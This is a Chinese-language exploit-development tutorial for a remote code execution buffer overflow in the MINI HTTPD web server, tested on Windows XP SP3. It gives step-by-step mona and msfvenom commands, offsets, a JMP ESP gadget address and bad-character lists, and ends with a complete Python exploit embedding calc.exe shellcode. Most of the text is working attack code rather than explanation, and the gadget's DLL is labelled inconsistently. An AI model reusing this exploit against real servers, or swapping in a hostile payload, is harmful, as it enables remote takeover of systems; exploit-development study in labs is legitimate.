MINI HTTPD 远程代码执行漏洞EXP编写
字数 770 2025-08-19 12:42:36
MINI HTTPD 远程代码执行漏洞EXP编写教程
测试环境准备
- 操作系统:Windows XP Home with Service Pack 3 (x86)
- 调试工具:Immunity Debugger(x86)/mona
- Python版本:Python 2.7.1(主要使用)
- 目标服务:MINI HTTPD
漏洞利用开发流程
1. 初始POC构造
import sys
import socket
# 创建缓冲区
buffer = "A" * 1000
HOST = '127.0.0.1'
PORT = 80
req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)
2. 偏移量计算
使用mona插件创建模式字符串:
!mona config -set workingfolder c:\logs\%p
!mona pc 1000
分析崩溃时的寄存器值,确定EIP覆盖点:
!mona findmsp
结果显示EIP在967字节后被覆盖,ESP指向偏移971处。
3. 验证偏移量
offset_eip = 967
EIP = 'BBBB'
ESP = 'CCCC'
ESI = 'DDDD'
buffer = 'A' * 225
buffer += ESI
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
4. 寻找JMP ESP指令
使用mona查找可用的JMP ESP指令:
!mona jmp -r esp
选择USER32.dll中的地址:0x7e4456f7
5. 构造跳转指令
import struct
EIP = struct.pack('<I', 0x7e4456f7) # jmp esp : USER32.dll gadget
ESP = '\xcc\xcc\xcc\xcc' # 断点指令
6. 计算跳转距离
使用metasm计算向后跳转的操作码:
jmp $-971 # 0xE930FCFFFF
7. 确定shellcode位置
使用模式字符串确定shellcode偏移量为641字节
8. 坏字符检测
排除已知坏字符:\x00\x20\x2f\x3f
使用mona生成检测数组:
!mona bytearray -cpb "\x00\x20\x2f\x3f"
通过多次测试发现额外坏字符:\x0d\x0c\x0b\x0a\x09
9. 生成shellcode
使用msfvenom生成calc.exe的shellcode:
msfvenom -p windows/exec CMD=calc.exe -b "\x00\x20\x2f\x3f\x0d\x0c\x0b\x0a\x09" -f c --arch x86 --platform windows
10. 调整栈指针
为避免shellcode执行时破坏栈,添加栈指针调整指令:
add esp,-3e8h # "\x81\xc4\x18\xfc\xff\xff"
完整EXP代码
import sys
import socket
import struct
offset_eip = 967
offset_shellcode = 641
EIP = struct.pack('<I', 0x7e4456f7) # jmp esp ntdll.dll
# 坏字符: "\x00\x20\x2f\x3f\x0d\x0c\x0b\x0a\x09"
ESP = '\x81\xc4\x18\xfc\xff\xff' # add esp,-3e8h
ESP += "\xe9\x2a\xfc\xff\xff" # jmp $-977
buffer = 'A' * offset_shellcode
# windows/exec CMD=calc.exe
shellcode = (
"\xb8\x69\xfc\x2c\xd8\xdb\xc9\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x31\x31\x46\x13\x83\xc6\x04\x03\x46\x66\x1e\xd9\x24"
"\x90\x5c\x22\xd5\x60\x01\xaa\x30\x51\x01\xc8\x31\xc1\xb1"
"\x9a\x14\xed\x3a\xce\x8c\x66\x4e\xc7\xa3\xcf\xe5\x31\x8d"
"\xd0\x56\x01\x8c\x52\xa5\x56\x6e\x6b\x66\xab\x6f\xac\x9b"
"\x46\x3d\x65\xd7\xf5\xd2\x02\xad\xc5\x59\x58\x23\x4e\xbd"
"\x28\x42\x7f\x10\x23\x1d\x5f\x92\xe0\x15\xd6\x8c\xe5\x10"
"\xa0\x27\xdd\xef\x33\xee\x2c\x0f\x9f\xcf\x81\xe2\xe1\x08"
"\x25\x1d\x94\x60\x56\xa0\xaf\xb6\x25\x7e\x25\x2d\x8d\xf5"
"\x9d\x89\x2c\xd9\x78\x59\x22\x96\x0f\x05\x26\x29\xc3\x3d"
"\x52\xa2\xe2\x91\xd3\xf0\xc0\x35\xb8\xa3\x69\x6f\x64\x05"
"\x95\x6f\xc7\xfa\x33\xfb\xe5\xef\x49\xa6\x63\xf1\xdc\xdc"
"\xc1\xf1\xde\xde\x75\x9a\xef\x55\x1a\xdd\xef\xbf\x5f\x11"
"\xba\xe2\xc9\xba\x63\x77\x48\xa7\x93\xad\x8e\xde\x17\x44"
"\x6e\x25\x07\x2d\x6b\x61\x8f\xdd\x01\xfa\x7a\xe2\xb6\xfb"
"\xae\x81\x59\x68\x32\x68\xfc\x08\xd1\x74"
)
buffer += shellcode
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80
req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)
关键点总结
- 偏移量计算:使用mona生成模式字符串并分析崩溃点
- 指令选择:选择系统DLL中稳定的JMP ESP指令
- 坏字符检测:逐步排除所有会影响漏洞利用的字符
- 栈指针调整:确保shellcode执行时不会破坏自身
- 跳转计算:精确计算跳转距离以准确到达shellcode位置
通过以上步骤,可以成功利用MINI HTTPD的远程代码执行漏洞。